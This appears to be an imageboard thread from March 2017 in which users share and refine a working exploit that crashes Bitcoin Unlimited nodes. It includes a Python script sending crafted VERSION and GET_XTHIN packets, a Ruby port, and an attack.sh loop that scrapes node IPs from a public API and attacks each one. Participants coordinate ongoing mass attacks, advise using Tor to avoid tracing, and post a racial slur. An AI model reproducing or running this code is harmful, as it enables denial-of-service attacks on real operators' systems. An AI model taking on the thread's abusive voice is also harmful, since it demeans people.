[Code] #!/usr/bin/env python import binascii import socket import time import sys import argparse
BUFFER_SIZE = 1024 VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000") GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")
if len(sys.argv) > 2: TCP_PORT = int(sys.argv[2]) TCP_IP = sys.argv[1] elif len(sys.argv) > 1: TCP_PORT = 8333 TCP_IP = sys.argv[1] else: print "Usage: %s ip [port]" % sys.argv[0] exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(VERSION)
data = s.recv(BUFFER_SIZE) time.sleep(1)
s.send(GET_XTHIN) time.sleep(1) s.close()
print "received data:", data
March 14, 2017 - 08:07
exploit is still an exploit you can port it if you want
March 14, 2017 - 08:23
Total noob here. What would be the point of crashing people other than upsetting them?
March 14, 2017 - 08:30
Political speech, BU nodes want to hardfork
March 14, 2017 - 08:50
BU is garbage statefunded by China and promoted by CIA-bribed Gavin Andressen. Serves them well, the idea of handling a 20 billion dollar project into a bunch of retards was laughable from day one. Kill it with fire, Core devs win another day.
March 14, 2017 - 09:08
So I take you you are running a copy now too.
March 14, 2017 - 09:09
Can we reach 0 nodes?
Anyway, isn't it already patched?
March 14, 2017 - 09:44
How would you filter all the Bitcoin unlimited nodes, I'm trying to automate the script a bit better
curl -H "Accept: application/json; indent=4" "bitnodes.21.co /api /v1 /snapshots /latest /" >> nodes.json
March 14, 2017 - 09:52
curl -s -H "Accept: application/json; indent=4" "bitnodes.21.co /api /v1 /snapshots /latest /" | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"
Will list all IPs, you still need to filter by useragent
March 14, 2017 - 09:55
Winfag here, with 0.14.0 you can easily select a bunch of nodes and ban them, I have no idea about the command line to automate it tho. There should be a command line that you can use in the console.
March 14, 2017 - 10:53
Banning a node is not what we want to do, we want to crash BU nodes.
So far I have this script for ip in $(curl -s -H "Accept: application/json; indent=4" "bitnodes.21.co /api /v1 /snapshots /latest /" | grep -i -B 2 "unlimited" | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)") do python2 bitcoinunlimited.py $ip done
March 14, 2017 - 10:57
coin.dance /nodes /unlimited
roger + jihan on suicide watch
lets keep attacking
ps: this would have been epic after ver sold his BTC coins for BTE (assuming he actually would do that after the fork)
March 14, 2017 - 12:00
Your script tries to attark 1.0.1.1 a lot. FIX IT NIGGA
March 14, 2017 - 12:14
bitcoinunlimited.py #!/usr/bin/env python import binascii import socket import time import sys import argparse
BUFFER_SIZE = 1024 VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000") GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")
if len(sys.argv) > 2: TCP_PORT = int(sys.argv[2]) TCP_IP = sys.argv[1] elif len(sys.argv) > 1: TCP_PORT = 8333 TCP_IP = sys.argv[1] else: print "Usage: %s ip [port]" % sys.argv[0] exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(VERSION)
data = s.recv(BUFFER_SIZE) time.sleep(1)
s.send(GET_XTHIN) time.sleep(1) s.close()
print "received data:", data
attack.sh for ip in $(curl -s -H "Accept: application/json; indent=4" "bitnodes.21.co /api /v1 /snapshots /latest /" | grep -i -B 2 "unlimited" | awk 'NR % 4 == 1' | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)") do echo "Attacking Bitcoin Unlimited Node on $ip" python2 bitcoinunlimited.py $ip done
March 14, 2017 - 12:15
Running because fuck shit software Thanks anons
March 14, 2017 - 12:20
Ruby port for the python haters.
require 'socket' require 'time'
arguments = ARGV BUFFER_SIZE = 1024 VERSION = "f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000".unpack('H*') GET_XTHIN = "f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001".unpack('H*')
if arguments.length > 2 then TCP_PORT = arguments[2].to_i TCP_IP = arguments[1] elsif arguments.length > 1 then TCP_PORT = 8333 TCP_IP = arguments[1] else puts("Usage: #{arguments[0]} [IP ADDRESS] [PORT]") exit end
socket = TCPSocket.open(TCP_IP, TCP_PORT) socket.print(VERSION)
response = socket.recv(BUFFER_SIZE) sleep(1)
socket.print(GET_XTHIN) sleep(1) socket.close()
March 14, 2017 - 12:25
looks like nodes are slowly getting updated
time to find out how to fuck up the new version
March 14, 2017 - 12:26
Python dev here use this updated script. It adds a socket timeout to prevent blocking.
[/code] #!/usr/bin/env python import binascii import socket import time import sys import argparse
BUFFER_SIZE = 1024 VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000") GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")
if len(sys.argv) > 2: TCP_PORT = int(sys.argv[2]) TCP_IP = sys.argv[1] elif len(sys.argv) > 1: TCP_PORT = 8333 TCP_IP = sys.argv[1] else: print "Usage: %s ip [port]" % sys.argv[0] exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect((TCP_IP, TCP_PORT)) s.send(VERSION) [/code]
March 14, 2017 - 13:08
does this only affect bitcoin unlimited, or bitcoin core in general?
March 14, 2017 - 13:30
Anyone else still nuking nodes down?
March 14, 2017 - 15:26
Most of them appear to have been updated to the patched version
March 14, 2017 - 15:50
there used to be 700 are we still keeping the unpatched one's down?
March 14, 2017 - 15:51
Eh, I guess I am not motivated to do this without financial gain out of it, also,
>scared might get tracked
March 14, 2017 - 16:14
>0day
not really 0day when you publish the source, and they patch it within a few hours.
March 14, 2017 - 16:17
Bitcoin prices can drop if there is a hardfork. Bitcoin core staying popular protects your investment in bitcoin.
Use tor to send the packets
March 14, 2017 - 16:18
so youre saying I can lower price of bitcoins, invest, then sell when they go back up?
March 14, 2017 - 16:19
>use tor to send the packets
Hmm, gives me a reason to fire up my RPI tor proxy AP.
March 14, 2017 - 16:20
If you can force a hardfork, and how do you know it will go back up and not stay down forover
March 14, 2017 - 16:20
oh well there goes my motivation.
March 14, 2017 - 16:22
You realize nuking these nodes keeps the hardfork away, by not running it you risk losing money
March 14, 2017 - 16:27
I don't have investment in BTC.
March 14, 2017 - 16:32
>tfw i dont have grand to drop in BTC, tfw I only have 200 dollars to my name.
March 14, 2017 - 16:56
you can buy .00000001 of a coin if needed. Bitcoin unlike stocks are dividable.
March 14, 2017 - 18:18
>I cant buy BTC because you can only buy entire BTC units >2017 kys
March 14, 2017 - 22:12
Bitcoin noob here. What's the VERSION thing do? And what IP/port am I supposed to give it?
March 14, 2017 - 22:33
here your (you) 2/10 making me reply.
refer to this post here. "attack.sh" grabs the ip for you, then gives them to "bitcoinunlimited.py"
March 15, 2017 - 00:16
lol fucking script kiddies Learn a real programming language with strong static typing.
March 15, 2017 - 03:30
the botnet has already been patched, nodes are at an all time high
how do we keep fucking with them?
March 15, 2017 - 04:35